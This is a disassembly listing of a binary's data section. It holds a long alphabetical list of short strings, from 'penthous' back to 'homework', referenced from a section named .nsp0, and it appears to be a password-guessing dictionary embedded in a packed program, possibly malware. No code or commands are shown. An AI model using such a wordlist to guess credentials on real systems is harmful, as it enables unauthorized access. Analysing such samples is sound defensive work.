aPenthous db 'penthous',0 ; DATA XREF: .nsp0:0042D544o
align 4
aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:0042D540o
align 4
aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:0042D53Co
align 10h
aPenname db 'penname',0 ; DATA XREF: .nsp0:0042D538o
aPenis db 'penis',0 ; DATA XREF: .nsp0:0042D534o
align 10h
aPenguin db 'penguin',0 ; DATA XREF: .nsp0:0042D530o
aPenelope db 'penelope',0 ; DATA XREF: .nsp0:0042D52Co
align 4
aPencil db 'pencil',0 ; DATA XREF: .nsp0:0042D528o
align 4
aPecker db 'pecker',0 ; DATA XREF: .nsp0:0042D524o
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:0042D520o
aPaula db 'paula',0 ; DATA XREF: .nsp0:0042D51Co
align 4
aPatty db 'patty',0 ; DATA XREF: .nsp0:0042D518o
align 4
aPatriot db 'patriot',0 ; DATA XREF: .nsp0:0042D514o
aPatricia db 'patricia',0 ; DATA XREF: .nsp0:0042D510o
align 10h
aPaste db 'paste',0 ; DATA XREF: .nsp0:0042D50Co
align 4
aPassphra db 'passphra',0 ; DATA XREF: .nsp0:0042D508o
align 4
aPascal db 'pascal',0 ; DATA XREF: .nsp0:0042D504o
align 4
aPapers db 'papers',0 ; DATA XREF: .nsp0:0042D500o
align 4
aPaper db 'paper',0 ; DATA XREF: .nsp0:0042D4FCo
align 4
aPapa db 'papa',0 ; DATA XREF: .nsp0:0042D4F8o
align 4
aPamela db 'pamela',0 ; DATA XREF: .nsp0:0042D4F4o
align 4
aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:0042D4F0o
align 4
aPaint db 'paint',0 ; DATA XREF: .nsp0:0042D4ECo
align 10h
aPainless db 'painless',0 ; DATA XREF: .nsp0:0042D4E8o
align 4
aPacker db 'packer',0 ; DATA XREF: .nsp0:0042D4E4o
align 4
aPackard db 'packard',0 ; DATA XREF: .nsp0:0042D4E0o
aPacific db 'pacific',0 ; DATA XREF: .nsp0:0042D4DCo
aOxford db 'oxford',0 ; DATA XREF: .nsp0:0042D4D8o
align 4
aOutside db 'outside',0 ; DATA XREF: .nsp0:0042D4D4o
aOutput db 'output',0 ; DATA XREF: .nsp0:0042D4D0o
align 4
aOutlaw db 'outlaw',0 ; DATA XREF: .nsp0:0042D4CCo
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: .nsp0:0042D4C8o
align 10h
aOsiris db 'osiris',0 ; DATA XREF: .nsp0:0042D4C4o
align 4
aOscar db 'oscar',0 ; DATA XREF: .nsp0:0042D4C0o
align 10h
aOrwell db 'orwell',0 ; DATA XREF: .nsp0:0042D4BCo
align 4
aOrient db 'orient',0 ; DATA XREF: .nsp0:0042D4B8o
align 10h
aOrca db 'orca',0 ; DATA XREF: .nsp0:0042D4B4o
align 4
aOperator db 'operator',0 ; DATA XREF: .nsp0:0042D4B0o
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: .nsp0:0042D4ACo
align 10h
aOpenlock db 'openlock',0 ; DATA XREF: .nsp0:0042D4A8o
align 4
aOpening db 'opening',0 ; DATA XREF: .nsp0:0042D4A4o
aOmega db 'omega',0 ; DATA XREF: .nsp0:0042D49Co
align 4
aOlivia db 'olivia',0 ; DATA XREF: .nsp0:0042D498o
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: .nsp0:0042D494o
align 10h
aOldage db 'oldage',0 ; DATA XREF: .nsp0:0042D490o
align 4
aOkay db 'okay',0 ; DATA XREF: .nsp0:0042D48Co
align 10h
aOffice db 'office',0 ; DATA XREF: .nsp0:0042D488o
align 4
aOcelot db 'ocelot',0 ; DATA XREF: .nsp0:0042D484o
align 10h
aOceanogr db 'oceanogr',0 ; DATA XREF: .nsp0:0042D480o
align 4
aObscurit db 'obscurit',0 ; DATA XREF: .nsp0:0042D47Co
align 4
aNyquist db 'nyquist',0 ; DATA XREF: .nsp0:0042D478o
aNuts db 'nuts',0 ; DATA XREF: .nsp0:0042D474o
align 4
aNutritio db 'nutritio',0 ; DATA XREF: .nsp0:0042D470o
align 4
aNumber db 'number',0 ; DATA XREF: .nsp0:0042D46Co
align 4
aNull_1 db 'null',0 ; DATA XREF: .nsp0:0042D468o
align 4
aNukem db 'nukem',0 ; DATA XREF: .nsp0:0042D464o
align 4
aNuke db 'nuke',0 ; DATA XREF: .nsp0:0042D460o
align 4
aNude db 'nude',0 ; DATA XREF: .nsp0:0042D45Co
align 4
aNuclear db 'nuclear',0 ; DATA XREF: .nsp0:0042D458o
aNoxious db 'noxious',0 ; DATA XREF: .nsp0:0042D454o
aNovember db 'november',0 ; DATA XREF: .nsp0:0042D450o
align 4
aNovel db 'novel',0 ; DATA XREF: .nsp0:0042D44Co
align 10h
aNova db 'nova',0 ; DATA XREF: .nsp0:0042D448o
align 4
aNoth db 'noth',0 ; DATA XREF: .nsp0:0042D444o
align 10h
aNotes db 'notes',0 ; DATA XREF: .nsp0:0042D440o
align 4
aNoreen db 'noreen',0 ; DATA XREF: .nsp0:0042D43Co
align 10h
aNode db 'node',0 ; DATA XREF: .nsp0:0042D438o
align 4
aNobody db 'nobody',0 ; DATA XREF: .nsp0:0042D434o
align 10h
aNoble db 'noble',0 ; DATA XREF: .nsp0:0042D430o
align 4
aNnaacp db 'nnaacp',0 ; DATA XREF: .nsp0:0042D42Co
align 10h
aNita db 'nita',0 ; DATA XREF: .nsp0:0042D428o
align 4
aNintendo db 'nintendo',0 ; DATA XREF: .nsp0:0042D424o
align 4
aNightmar db 'nightmar',0 ; DATA XREF: .nsp0:0042D420o
align 10h
aNight db 'night',0 ; DATA XREF: .nsp0:0042D41Co
align 4
aNicotine db 'nicotine',0 ; DATA XREF: .nsp0:0042D418o
align 4
aNicole db 'nicole',0 ; DATA XREF: .nsp0:0042D414o
align 4
aNice db 'nice',0 ; DATA XREF: .nsp0:0042D410o
align 4
aNext db 'next',0 ; DATA XREF: .nsp0:0042D40Co
align 4
aNewyork db 'newyork',0 ; DATA XREF: .nsp0:0042D408o
aNewton db 'newton',0 ; DATA XREF: .nsp0:0042D404o
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: .nsp0:0042D400o
align 4
aNews db 'news',0 ; DATA XREF: .nsp0:0042D3FCo
align 10h
aNewborn db 'newborn',0 ; DATA XREF: .nsp0:0042D3F8o
aNetwork_0 db 'network',0 ; DATA XREF: .nsp0:0042D3F4o
aNetscape db 'netscape',0 ; DATA XREF: .nsp0:0042D3F0o
align 4
aNess db 'ness',0 ; DATA XREF: .nsp0:0042D3ECo
align 4
aNeptune db 'neptune',0 ; DATA XREF: .nsp0:0042D3E8o
aNepenthe db 'nepenthe',0 ; DATA XREF: .nsp0:0042D3E4o
align 4
aNavy db 'navy',0 ; DATA XREF: .nsp0:0042D3E0o
align 10h
aNasa db 'nasa',0 ; DATA XREF: .nsp0:0042D3DCo
align 4
aNapoleon db 'napoleon',0 ; DATA XREF: .nsp0:0042D3D8o
align 4
aNancy db 'nancy',0 ; DATA XREF: .nsp0:0042D3D4o
align 4
aName db 'name',0 ; DATA XREF: .nsp0:0042D3D0o
align 4
aNagel db 'nagel',0 ; DATA XREF: .nsp0:0042D3CCo
align 4
aMutant db 'mutant',0 ; DATA XREF: .nsp0:0042D3C8o
align 4
aMuppets db 'muppets',0 ; DATA XREF: .nsp0:0042D3C4o
aMsdos db 'msdos',0 ; DATA XREF: .nsp0:0042D3C0o
align 4
aMpeg db 'mpeg',0 ; DATA XREF: .nsp0:0042D3BCo
align 4
aMozart db 'mozart',0 ; DATA XREF: .nsp0:0042D3B8o
align 4
aMovies db 'movies',0 ; DATA XREF: .nsp0:0042D3B4o
align 4
aMovie db 'movie',0 ; DATA XREF: .nsp0:0042D3B0o
align 4
aMove db 'move',0 ; DATA XREF: .nsp0:0042D3ACo
align 4
aMouse db 'mouse',0 ; DATA XREF: .nsp0:0042D3A8o
align 4
aMountain db 'mountain',0 ; DATA XREF: .nsp0:0042D3A4o
align 10h
aMosaic db 'mosaic',0 ; DATA XREF: .nsp0:0042D3A0o
align 4
aMortgage db 'mortgage',0 ; DATA XREF: .nsp0:0042D39Co
align 4
aMortalco db 'mortalco',0 ; DATA XREF: .nsp0:0042D398o
align 10h
aMortal db 'mortal',0 ; DATA XREF: .nsp0:0042D394o
align 4
aMorris db 'morris',0 ; DATA XREF: .nsp0:0042D390o
align 10h
aMorley db 'morley',0 ; DATA XREF: .nsp0:0042D38Co
align 4
aMore db 'more',0 ; DATA XREF: .nsp0:0042D388o
align 10h
aMoose db 'moose',0 ; DATA XREF: .nsp0:0042D384o
align 4
aMoor db 'moor',0 ; DATA XREF: .nsp0:0042D380o
align 10h
aMoom db 'moom',0 ; DATA XREF: .nsp0:0042D37Co
align 4
aMonica db 'monica',0 ; DATA XREF: .nsp0:0042D378o
align 10h
aMonday db 'monday',0 ; DATA XREF: .nsp0:0042D374o
align 4
aMoguls db 'moguls',0 ; DATA XREF: .nsp0:0042D370o
align 10h
aMogul db 'mogul',0 ; DATA XREF: .nsp0:0042D36Co
align 4
aModem db 'modem',0 ; DATA XREF: .nsp0:0042D368o
align 10h
aMode db 'mode',0 ; DATA XREF: .nsp0:0042D364o
align 4
aMkii db 'mkii',0 ; DATA XREF: .nsp0:0042D360o
align 10h
aMission db 'mission',0 ; DATA XREF: .nsp0:0042D35Co
aMisfit db 'misfit',0 ; DATA XREF: .nsp0:0042D358o
align 10h
aMinsky db 'minsky',0 ; DATA XREF: .nsp0:0042D354o
align 4
aMinimum db 'minimum',0 ; DATA XREF: .nsp0:0042D350o
aMine db 'mine',0 ; DATA XREF: .nsp0:0042D34Co
align 4
aMike db 'mike',0 ; DATA XREF: .nsp0:0042D348o
align 10h
aMidieval db 'midieval',0 ; DATA XREF: .nsp0:0042D344o
align 4
aMicrosof db 'microsof',0 ; DATA XREF: .nsp0:0042D340o
align 4
aMicropro db 'micropro',0 ; DATA XREF: .nsp0:0042D33Co
align 4
aMicrochi db 'microchi',0 ; DATA XREF: .nsp0:0042D338o
align 10h
aMicro db 'micro',0 ; DATA XREF: .nsp0:0042D334o
align 4
aMickey db 'mickey',0 ; DATA XREF: .nsp0:0042D330o
align 10h
aMichelle db 'michelle',0 ; DATA XREF: .nsp0:0042D32Co
align 4
aMichele db 'michele',0 ; DATA XREF: .nsp0:0042D328o
aMichelan db 'michelan',0 ; DATA XREF: .nsp0:0042D324o
align 10h
aMichel db 'michel',0 ; DATA XREF: .nsp0:0042D320o
align 4
aMichael db 'michael',0 ; DATA XREF: .nsp0:0042D31Co
aMice db 'mice',0 ; DATA XREF: .nsp0:0042D318o
align 4
aMets db 'mets',0 ; DATA XREF: .nsp0:0042D314o
align 10h
aMetalica db 'metalica',0 ; DATA XREF: .nsp0:0042D310o
align 4
aMetalhea db 'metalhea',0 ; DATA XREF: .nsp0:0042D30Co
align 4
aMetal db 'metal',0 ; DATA XREF: .nsp0:0042D308o
align 10h
aMerlin db 'merlin',0 ; DATA XREF: .nsp0:0042D304o
align 4
aMercury db 'mercury',0 ; DATA XREF: .nsp0:0042D300o
aMenu db 'menu',0 ; DATA XREF: .nsp0:0042D2FCo
align 4
aMenace db 'menace',0 ; DATA XREF: .nsp0:0042D2F8o
align 10h
aMemory db 'memory',0 ; DATA XREF: .nsp0:0042D2F4o
align 4
aMember db 'member',0 ; DATA XREF: .nsp0:0042D2F0o
align 10h
aMelrose db 'melrose',0 ; DATA XREF: .nsp0:0042D2ECo
aMellon db 'mellon',0 ; DATA XREF: .nsp0:0042D2E8o
align 10h
aMelissa db 'melissa',0 ; DATA XREF: .nsp0:0042D2E4o
aMegan db 'megan',0 ; DATA XREF: .nsp0:0042D2E0o
align 10h
aMegadeth db 'megadeth',0 ; DATA XREF: .nsp0:0042D2DCo
align 4
aMegabyte db 'megabyte',0 ; DATA XREF: .nsp0:0042D2D8o
align 4
aMeagan db 'meagan',0 ; DATA XREF: .nsp0:0042D2D4o
align 10h
aMaurice db 'maurice',0 ; DATA XREF: .nsp0:0042D2D0o
aMath db 'math',0 ; DATA XREF: .nsp0:0042D2CCo
align 10h
aMaster db 'master',0 ; DATA XREF: .nsp0:0042D2C8o
align 4
aMason db 'mason',0 ; DATA XREF: .nsp0:0042D2C4o
align 10h
aMary db 'mary',0 ; DATA XREF: .nsp0:0042D2C0o
align 4
aMarvin db 'marvin',0 ; DATA XREF: .nsp0:0042D2BCo
align 10h
aMarty db 'marty',0 ; DATA XREF: .nsp0:0042D2B8o
align 4
aMars db 'mars',0 ; DATA XREF: .nsp0:0042D2B4o
align 10h
aMarriage db 'marriage',0 ; DATA XREF: .nsp0:0042D2B0o
align 4
aMarni db 'marni',0 ; DATA XREF: .nsp0:0042D2ACo
align 4
aMarkus db 'markus',0 ; DATA XREF: .nsp0:0042D2A8o
align 4
aMark db 'mark',0 ; DATA XREF: .nsp0:0042D2A4o
align 4
aMarines db 'marines',0 ; DATA XREF: .nsp0:0042D2A0o
aMarijuan db 'marijuan',0 ; DATA XREF: .nsp0:0042D29Co
align 4
aMarietta db 'marietta',0 ; DATA XREF: .nsp0:0042D298o
align 4
aMariens db 'mariens',0 ; DATA XREF: .nsp0:0042D294o
aMaria db 'maria',0 ; DATA XREF: .nsp0:0042D290o
align 4
aMarcy db 'marcy',0 ; DATA XREF: .nsp0:0042D28Co
align 4
aMarci db 'marci',0 ; DATA XREF: .nsp0:0042D288o
align 4
aMara db 'mara',0 ; DATA XREF: .nsp0:0042D284o
align 4
aManager db 'manager',0 ; DATA XREF: .nsp0:0042D280o
aMana db 'mana',0 ; DATA XREF: .nsp0:0042D27Co
align 4
aMalcom db 'malcom',0 ; DATA XREF: .nsp0:0042D278o
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: .nsp0:0042D274o
aMaint db 'maint',0 ; DATA XREF: .nsp0:0042D270o
align 4
aMail db 'mail',0 ; DATA XREF: .nsp0:0042D26Co
align 4
aMagnet db 'magnet',0 ; DATA XREF: .nsp0:0042D268o
align 4
aMagic db 'magic',0 ; DATA XREF: .nsp0:0042D264o
align 4
aMaggot db 'maggot',0 ; DATA XREF: .nsp0:0042D260o
align 4
aMacro db 'macro',0 ; DATA XREF: .nsp0:0042D25Co
align 4
aMack db 'mack',0 ; DATA XREF: .nsp0:0042D258o
align 4
aMacintos db 'macintos',0 ; DATA XREF: .nsp0:0042D254o
align 10h
aMachine db 'machine',0 ; DATA XREF: .nsp0:0042D250o
aLynne db 'lynne',0 ; DATA XREF: .nsp0:0042D24Co
align 10h
aLynn db 'lynn',0 ; DATA XREF: .nsp0:0042D248o
align 4
aLust db 'lust',0 ; DATA XREF: .nsp0:0042D244o
align 10h
aLuke db 'luke',0 ; DATA XREF: .nsp0:0042D240o
align 4
aLude db 'lude',0 ; DATA XREF: .nsp0:0042D23Co
align 10h
aLucy db 'lucy',0 ; DATA XREF: .nsp0:0042D238o
align 4
aLucus db 'lucus',0 ; DATA XREF: .nsp0:0042D234o
align 10h
aLuck db 'luck',0 ; DATA XREF: .nsp0:0042D230o
align 4
aLover db 'lover',0 ; DATA XREF: .nsp0:0042D22Co
align 10h
aLovebug db 'lovebug',0 ; DATA XREF: .nsp0:0042D228o
aLouis db 'louis',0 ; DATA XREF: .nsp0:0042D224o
align 10h
aLoser db 'loser',0 ; DATA XREF: .nsp0:0042D220o
align 4
aLorraine db 'lorraine',0 ; DATA XREF: .nsp0:0042D21Co
align 4
aLorin db 'lorin',0 ; DATA XREF: .nsp0:0042D218o
align 4
aLori db 'lori',0 ; DATA XREF: .nsp0:0042D214o
align 4
aLore db 'lore',0 ; DATA XREF: .nsp0:0042D210o
align 4
aLoose db 'loose',0 ; DATA XREF: .nsp0:0042D20Co
align 4
aLolopc db 'lolopc',0 ; DATA XREF: .nsp0:0042D208o
align 4
aLois db 'lois',0 ; DATA XREF: .nsp0:0042D204o
align 4
aLogout db 'logout',0 ; DATA XREF: .nsp0:0042D200o
align 4
aLoginwor db 'loginwor',0 ; DATA XREF: .nsp0:0042D1FCo
align 4
aLogic db 'logic',0 ; DATA XREF: .nsp0:0042D1F8o
align 10h
aLockword db 'lockword',0 ; DATA XREF: .nsp0:0042D1F4o
align 4
aLockout db 'lockout',0 ; DATA XREF: .nsp0:0042D1F0o
aLock db 'lock',0 ; DATA XREF: .nsp0:0042D1ECo
align 4
aLoad db 'load',0 ; DATA XREF: .nsp0:0042D1E8o
align 4
aLive db 'live',0 ; DATA XREF: .nsp0:0042D1E4o
align 4
aLiteratu db 'literatu',0 ; DATA XREF: .nsp0:0042D1E0o
align 4
aLisp db 'lisp',0 ; DATA XREF: .nsp0:0042D1DCo
align 10h
aLisa db 'lisa',0 ; DATA XREF: .nsp0:0042D1D8o
align 4
aLips db 'lips',0 ; DATA XREF: .nsp0:0042D1D4o
align 10h
aLion db 'lion',0 ; DATA XREF: .nsp0:0042D1D0o
align 4
aLink db 'link',0 ; DATA XREF: .nsp0:0042D1CCo
align 10h
aLinda db 'linda',0 ; DATA XREF: .nsp0:0042D1C8o
align 4
aLimited db 'limited',0 ; DATA XREF: .nsp0:0042D1C4o
aLimbaugh db 'limbaugh',0 ; DATA XREF: .nsp0:0042D1C0o
align 4
aLima db 'lima',0 ; DATA XREF: .nsp0:0042D1BCo
align 4
aLightsab db 'lightsab',0 ; DATA XREF: .nsp0:0042D1B8o
align 10h
aLight db 'light',0 ; DATA XREF: .nsp0:0042D1B4o
align 4
aLife db 'life',0 ; DATA XREF: .nsp0:0042D1B0o
align 10h
aLicker db 'licker',0 ; DATA XREF: .nsp0:0042D1ACo
align 4
aLick db 'lick',0 ; DATA XREF: .nsp0:0042D1A8o
align 10h
aLibrary db 'library',0 ; DATA XREF: .nsp0:0042D1A4o
aLiberal db 'liberal',0 ; DATA XREF: .nsp0:0042D1A0o
aLexluthe db 'lexluthe',0 ; DATA XREF: .nsp0:0042D19Co
align 4
aLewis db 'lewis',0 ; DATA XREF: .nsp0:0042D198o
align 4
aLetmein db 'letmein',0 ; DATA XREF: .nsp0:0042D194o
aLeslie db 'leslie',0 ; DATA XREF: .nsp0:0042D190o
align 4
aLesbian db 'lesbian',0 ; DATA XREF: .nsp0:0042D18Co
aLeroy db 'leroy',0 ; DATA XREF: .nsp0:0042D188o
align 4
aLeland db 'leland',0 ; DATA XREF: .nsp0:0042D184o
align 4
aLegal db 'legal',0 ; DATA XREF: .nsp0:0042D180o
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: .nsp0:0042D17Co
align 10h
aLeft db 'left',0 ; DATA XREF: .nsp0:0042D178o
align 4
aLebesgue db 'lebesgue',0 ; DATA XREF: .nsp0:0042D174o
align 4
aLeah db 'leah',0 ; DATA XREF: .nsp0:0042D170o
align 4
aLazer db 'lazer',0 ; DATA XREF: .nsp0:0042D16Co
align 4
aLazarus db 'lazarus',0 ; DATA XREF: .nsp0:0042D168o
aLava db 'lava',0 ; DATA XREF: .nsp0:0042D164o
align 4
aLaura db 'laura',0 ; DATA XREF: .nsp0:0042D160o
align 4
aLaser db 'laser',0 ; DATA XREF: .nsp0:0042D15Co
align 4
aLarry db 'larry',0 ; DATA XREF: .nsp0:0042D158o
align 4
aLarkin db 'larkin',0 ; DATA XREF: .nsp0:0042D154o
align 4
aLara db 'lara',0 ; DATA XREF: .nsp0:0042D150o
align 4
aLaptop db 'laptop',0 ; DATA XREF: .nsp0:0042D14Co
align 4
aLana db 'lana',0 ; DATA XREF: .nsp0:0042D148o
align 4
aLaminati db 'laminati',0 ; DATA XREF: .nsp0:0042D144o
align 4
aLambda db 'lambda',0 ; DATA XREF: .nsp0:0042D140o
align 10h
aLakers db 'lakers',0 ; DATA XREF: .nsp0:0042D13Co
align 4
aLadle db 'ladle',0 ; DATA XREF: .nsp0:0042D138o
align 10h
aLadies db 'ladies',0 ; DATA XREF: .nsp0:0042D134o
align 4
aKristy db 'kristy',0 ; DATA XREF: .nsp0:0042D130o
align 10h
aKristine db 'kristine',0 ; DATA XREF: .nsp0:0042D12Co
align 4
aKristin db 'kristin',0 ; DATA XREF: .nsp0:0042D128o
aKristie db 'kristie',0 ; DATA XREF: .nsp0:0042D124o
aKristi db 'kristi',0 ; DATA XREF: .nsp0:0042D120o
align 4
aKristen db 'kristen',0 ; DATA XREF: .nsp0:0042D11Co
aKrista db 'krista',0 ; DATA XREF: .nsp0:0042D118o
align 4
aKnown db 'known',0 ; DATA XREF: .nsp0:0042D114o
align 4
aKnightma db 'knightma',0 ; DATA XREF: .nsp0:0042D110o
align 4
aKnight db 'knight',0 ; DATA XREF: .nsp0:0042D10Co
align 10h
aKnife db 'knife',0 ; DATA XREF: .nsp0:0042D108o
align 4
aKlingon db 'klingon',0 ; DATA XREF: .nsp0:0042D104o
aKitten db 'kitten',0 ; DATA XREF: .nsp0:0042D100o
align 4
aKissmyas db 'kissmyas',0 ; DATA XREF: .nsp0:0042D0FCo
align 4
aKiss db 'kiss',0 ; DATA XREF: .nsp0:0042D0F8o
align 4
aKirkland db 'kirkland',0 ; DATA XREF: .nsp0:0042D0F4o
align 4
aKirk db 'kirk',0 ; DATA XREF: .nsp0:0042D0F0o
align 10h
aKing db 'king',0 ; DATA XREF: .nsp0:0042D0ECo
align 4
aKimberly db 'kimberly',0 ; DATA XREF: .nsp0:0042D0E8o
align 4
aKilo db 'kilo',0 ; DATA XREF: .nsp0:0042D0E4o
align 4
aKillthem db 'killthem',0 ; DATA XREF: .nsp0:0042D0E0o
align 4
aKill db 'kill',0 ; DATA XREF: .nsp0:0042D0DCo
align 10h
aKids db 'kids',0 ; DATA XREF: .nsp0:0042D0D8o
align 4
aKeyword db 'keyword',0 ; DATA XREF: .nsp0:0042D0D4o
aKeyin db 'keyin',0 ; DATA XREF: .nsp0:0042D0D0o
align 4
aKeybord db 'keybord',0 ; DATA XREF: .nsp0:0042D0CCo
aKewl db 'kewl',0 ; DATA XREF: .nsp0:0042D0C8o
align 4
aKevin db 'kevin',0 ; DATA XREF: .nsp0:0042D0C4o
align 10h
aKerry db 'kerry',0 ; DATA XREF: .nsp0:0042D0C0o
align 4
aKerrie db 'kerrie',0 ; DATA XREF: .nsp0:0042D0BCo
align 10h
aKerri db 'kerri',0 ; DATA XREF: .nsp0:0042D0B8o
align 4
aKernel db 'kernel',0 ; DATA XREF: .nsp0:0042D0B4o
align 10h
aKermit db 'kermit',0 ; DATA XREF: .nsp0:0042D0B0o
align 4
aKeri db 'keri',0 ; DATA XREF: .nsp0:0042D0ACo
align 10h
aKelly db 'kelly',0 ; DATA XREF: .nsp0:0042D0A8o
align 4
aKatrina db 'katrina',0 ; DATA XREF: .nsp0:0042D0A4o
aKatina db 'katina',0 ; DATA XREF: .nsp0:0042D0A0o
align 4
aKathy db 'kathy',0 ; DATA XREF: .nsp0:0042D09Co
align 10h
aKathrine db 'kathrine',0 ; DATA XREF: .nsp0:0042D098o
align 4
aKathleen db 'kathleen',0 ; DATA XREF: .nsp0:0042D094o
align 4
aKate db 'kate',0 ; DATA XREF: .nsp0:0042D090o
align 10h
aKatana db 'katana',0 ; DATA XREF: .nsp0:0042D08Co
align 4
aKarina db 'karina',0 ; DATA XREF: .nsp0:0042D088o
align 10h
aKarie db 'karie',0 ; DATA XREF: .nsp0:0042D084o
align 4
aKaren db 'karen',0 ; DATA XREF: .nsp0:0042D080o
align 10h
aKaka db 'kaka',0 ; DATA XREF: .nsp0:0042D07Co
align 4
aJupiter db 'jupiter',0 ; DATA XREF: .nsp0:0042D078o
aJune db 'june',0 ; DATA XREF: .nsp0:0042D074o
align 4
aJuliet db 'juliet',0 ; DATA XREF: .nsp0:0042D070o
align 10h
aJulie db 'julie',0 ; DATA XREF: .nsp0:0042D06Co
align 4
aJulia db 'julia',0 ; DATA XREF: .nsp0:0042D068o
align 10h
aJuicy db 'juicy',0 ; DATA XREF: .nsp0:0042D064o
align 4
aJuggle db 'juggle',0 ; DATA XREF: .nsp0:0042D060o
align 10h
aJudy db 'judy',0 ; DATA XREF: .nsp0:0042D05Co
align 4
aJudith db 'judith',0 ; DATA XREF: .nsp0:0042D058o
align 10h
aJoyce db 'joyce',0 ; DATA XREF: .nsp0:0042D054o
align 4
aJournal db 'journal',0 ; DATA XREF: .nsp0:0042D050o
aJoshua db 'joshua',0 ; DATA XREF: .nsp0:0042D04Co
align 4
aJoseph db 'joseph',0 ; DATA XREF: .nsp0:0042D048o
align 10h
aJohnny db 'johnny',0 ; DATA XREF: .nsp0:0042D044o
align 4
aJohndoe db 'johndoe',0 ; DATA XREF: .nsp0:0042D040o
aJohn db 'john',0 ; DATA XREF: .nsp0:0042D03Co
align 4
aJody db 'jody',0 ; DATA XREF: .nsp0:0042D038o
align 10h
aJoanne db 'joanne',0 ; DATA XREF: .nsp0:0042D034o
align 4
aJixian db 'jixian',0 ; DATA XREF: .nsp0:0042D030o
align 10h
aJill db 'jill',0 ; DATA XREF: .nsp0:0042D02Co
align 4
aJewelry db 'jewelry',0 ; DATA XREF: .nsp0:0042D028o
aJester db 'jester',0 ; DATA XREF: .nsp0:0042D024o
align 4
aJessica db 'jessica',0 ; DATA XREF: .nsp0:0042D020o
aJerusale db 'jerusale',0 ; DATA XREF: .nsp0:0042D01Co
align 4
aJerry db 'jerry',0 ; DATA XREF: .nsp0:0042D018o
align 4
aJenny db 'jenny',0 ; DATA XREF: .nsp0:0042D014o
align 4
aJennifer db 'jennifer',0 ; DATA XREF: .nsp0:0042D010o
align 4
aJenni db 'jenni',0 ; DATA XREF: .nsp0:0042D00Co
align 10h
aJeff db 'jeff',0 ; DATA XREF: .nsp0:0042D008o
align 4
aJeanne db 'jeanne',0 ; DATA XREF: .nsp0:0042D004o
align 10h
aJean db 'jean',0 ; DATA XREF: .nsp0:0042D000o
align 4
aJazz db 'jazz',0 ; DATA XREF: .nsp0:0042CFFCo
align 10h
aJava db 'java',0 ; DATA XREF: .nsp0:0042CFF8o
align 4
aJasmin db 'jasmin',0 ; DATA XREF: .nsp0:0042CFF4o
align 10h
aJapan db 'japan',0 ; DATA XREF: .nsp0:0042CFF0o
align 4
aJanie db 'janie',0 ; DATA XREF: .nsp0:0042CFECo
align 10h
aJanice db 'janice',0 ; DATA XREF: .nsp0:0042CFE8o
align 4
aJanet db 'janet',0 ; DATA XREF: .nsp0:0042CFE4o
align 10h
aJane db 'jane',0 ; DATA XREF: .nsp0:0042CFE0o
align 4
aJail db 'jail',0 ; DATA XREF: .nsp0:0042CFDCo
align 10h
aJackie db 'jackie',0 ; DATA XREF: .nsp0:0042CFD8o
align 4
aIsis db 'isis',0 ; DATA XREF: .nsp0:0042CFD4o
align 10h
aIrishman db 'irishman',0 ; DATA XREF: .nsp0:0042CFD0o
align 4
aIrene db 'irene',0 ; DATA XREF: .nsp0:0042CFCCo
align 4
aInvent db 'invent',0 ; DATA XREF: .nsp0:0042CFC8o
align 4
aInteger db 'integer',0 ; DATA XREF: .nsp0:0042CFC4o
aInside db 'inside',0 ; DATA XREF: .nsp0:0042CFC0o
align 4
aInput db 'input',0 ; DATA XREF: .nsp0:0042CFBCo
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: .nsp0:0042CFB8o
align 10h
aInna db 'inna',0 ; DATA XREF: .nsp0:0042CFB4o
align 4
aIngrid db 'ingrid',0 ; DATA XREF: .nsp0:0042CFB0o
align 10h
aIngress db 'ingress',0 ; DATA XREF: .nsp0:0042CFACo
aIngres db 'ingres',0 ; DATA XREF: .nsp0:0042CFA8o
align 10h
aIndians db 'indians',0 ; DATA XREF: .nsp0:0042CFA4o
aIndiana db 'indiana',0 ; DATA XREF: .nsp0:0042CFA0o
aIndian db 'indian',0 ; DATA XREF: .nsp0:0042CF9Co
align 4
aIndia db 'india',0 ; DATA XREF: .nsp0:0042CF98o
align 10h
aInclude db 'include',0 ; DATA XREF: .nsp0:0042CF94o
aImperial db 'imperial',0 ; DATA XREF: .nsp0:0042CF90o
align 4
aImmortal db 'immortal',0 ; DATA XREF: .nsp0:0042CF8Co
align 10h
aImbrogli db 'imbrogli',0 ; DATA XREF: .nsp0:0042CF88o
align 4
aImage db 'image',0 ; DATA XREF: .nsp0:0042CF84o
align 4
aIllumina db 'illumina',0 ; DATA XREF: .nsp0:0042CF80o
align 10h
aIcecream db 'icecream',0 ; DATA XREF: .nsp0:0042CF7Co
align 4
aHypertxt db 'hypertxt',0 ; DATA XREF: .nsp0:0042CF78o
align 4
aHyper db 'hyper',0 ; DATA XREF: .nsp0:0042CF74o
align 10h
aHydrogen db 'hydrogen',0 ; DATA XREF: .nsp0:0042CF70o
align 4
aHutchins db 'hutchins',0 ; DATA XREF: .nsp0:0042CF6Co
align 4
aHunter db 'hunter',0 ; DATA XREF: .nsp0:0042CF68o
align 10h
aHunt db 'hunt',0 ; DATA XREF: .nsp0:0042CF64o
align 4
aHttp_0 db 'http',0 ; DATA XREF: .nsp0:0042CF60o
align 10h
aHotel db 'hotel',0 ; DATA XREF: .nsp0:0042CF5Co
align 4
aHotdog db 'hotdog',0 ; DATA XREF: .nsp0:0042CF58o
align 10h
aHost db 'host',0 ; DATA XREF: .nsp0:0042CF54o
align 4
aHorus db 'horus',0 ; DATA XREF: .nsp0:0042CF50o
align 10h
aHorse db 'horse',0 ; DATA XREF: .nsp0:0042CF4Co
align 4
aHorror db 'horror',0 ; DATA XREF: .nsp0:0042CF48o
align 10h
aHorrible db 'horrible',0 ; DATA XREF: .nsp0:0042CF44o
align 4
aHorny db 'horny',0 ; DATA XREF: .nsp0:0042CF40o
align 4
aHooters db 'hooters',0 ; DATA XREF: .nsp0:0042CF3Co
aHooker db 'hooker',0 ; DATA XREF: .nsp0:0042CF38o
align 4
aHoney db 'honey',0 ; DATA XREF: .nsp0:0042CF34o
align 4
aHomework db 'homework',0 ; DATA XREF: .nsp0:0042CF30o
